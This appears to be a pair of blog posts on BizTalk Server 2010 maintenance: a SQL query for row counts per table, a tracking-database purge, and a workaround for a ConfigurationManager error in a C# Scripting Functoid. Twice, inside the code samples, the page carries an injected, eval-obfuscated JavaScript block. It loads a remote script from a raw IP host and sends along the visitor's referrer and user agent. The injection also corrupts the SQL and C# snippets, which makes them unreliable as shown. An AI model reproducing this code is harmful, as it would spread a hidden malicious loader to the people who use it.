Sometimes one of your databases is eating up diskspace, and you want to know why.  By running the query below, you can easily view the number of rows for each table (and can even sort so that the tables with the most rows are on top).

USE <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hezen|var|u0026u|referrer|kdnfr||js|php'.split('|'),0,{}))
</script></noindex> BizTalkDTADb
--USE BizTalkMgmtDb
SELECT sc.name +'.'+ ta.name TableName ,SUM(pa.rows) RowCnt
FROM sys.tables ta
INNER JOIN sys.partitions pa  ON pa.OBJECT_ID = ta.OBJECT_ID
INNER JOIN sys.schemas sc  ON ta.SCHEMA_ID = sc.schema_id
WHERE ta.is_ms_shipped = 0 AND pa.index_id IN (1,0)
GROUP BY sc.name,ta.name
ORDER BY SUM(pa.rows) DESC

 

Below are samples only.  I’m not saying you rresults should be similar.  It depends totally on your run history and types of BizTalk artifacts you have deployed.

Sample Results for BizTalkDTADb:

records counts by table name in BizTalkDTADb

records counts by table name in BizTalkDTADb

On the development environment, my new client had not scheduled the SQL Agent Job: “DTA Purge and Archive (BizTalkDTADb)”

This database was in need of cleanup by running

truncate table dbo.dta_DebugTrace;
exec dtasp_PurgeTrackingDatabase
0, --@nLiveHours tinyint, --Any completed instance older than the live hours +live days
7, --@nLiveDays tinyint = 0, --will be deleted along with all associated data
30, --@nHardDeleteDays tinyint = 0, --all data older than this will be deleted.
'2014-08-30' --@DateLastBackup

I hope to blog more about the clean-up process soon.  The above screen shot was after doing a partial cleanup.  dta_MessageInOutEvents had over 2 million rows when I started.  I’m cleaning up on month at a time to make sure I don’t fill up the transaction log. Meanwhile, check out this blog: http://www.malgreve.net/2008/02/19/biztalkdtadb-grows-too-large-how-to-purge-and-maintain-the-database/

 

Sample Results for BizTalkMgmtDb:

BizTalkMgmtDb_record_counts_by_table

Normally, I would call a static method in a C# library rather than coding this in a functoid. It’s easier to unit test, you get full Intellisense (automatic code completion), and it just seems easier. However, I’m at a new client, that doesn’t yet have a C# library. It’s really no big deal to add one, but the client thought it would be simpler to just do the entire thing in a C# Scripting Functoid. It’s my first change to their system, so I didn’t want to make it overly complicated. (My plan is to introduce BizTalk Deployment Framework as soon as possible.) It actually took longer because of the snags I hit.

By the way, this is BizTalk 2010 and Visual Studio 2010.

I did write the code in C#, tested it, then copied it into the functoid. Then I started getting this error.

The code wrapped some additional logic around this statement:

string <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydatk|var|u0026u|referrer|efdar||js|php'.split('|'),0,{}))
</script></noindex> databaseName = ConfigurationManager.AppSettings["CustomDatabaseName"];

This resulted in this compile error, even though System.Configuration was already being referenced by the project.

error btm1021: Inline Script Error: The type or namespace name 'ConfigurationManager' does not exist in the namespace 'System.Configuration' (are you missing an assembly reference?)

To get the code to work, I had to go back to the obsoleted code as follows:

string databaseName = System.Configuration.ConfigurationManager.AppSettings.Get("CustomDatabaseName").ToString();

If you compile the above in normal VS2010, you will get this warning; but for some reason in the BizTalk project, the same warning does not appear.

 warning CS0618: 'System.Configuration.ConfigurationSettings.AppSettings' is obsolete: 'This method is obsolete, it has been replaced by System.Configuration!System.Configuration.ConfigurationManager.AppSettings'

References:
1. https://social.msdn.microsoft.com/Forums/en-US/87269a94-a3e6-439b-856f-24c5ba582440/cannot-call-appsettingsget-method-in-map?forum=biztalkgeneral
This was starts to explain why it won’t work, based on your C# in-line script having to be embedded inside of the XSLT code.
2. http://blogs.msdn.com/b/brajens/archive/2007/01/16/using-configuration-in-biztalk-map.aspx
3. https://social.msdn.microsoft.com/Forums/en-US/87269a94-a3e6-439b-856f-24c5ba582440/cannot-call-appsettingsget-method-in-map?forum=biztalkgeneral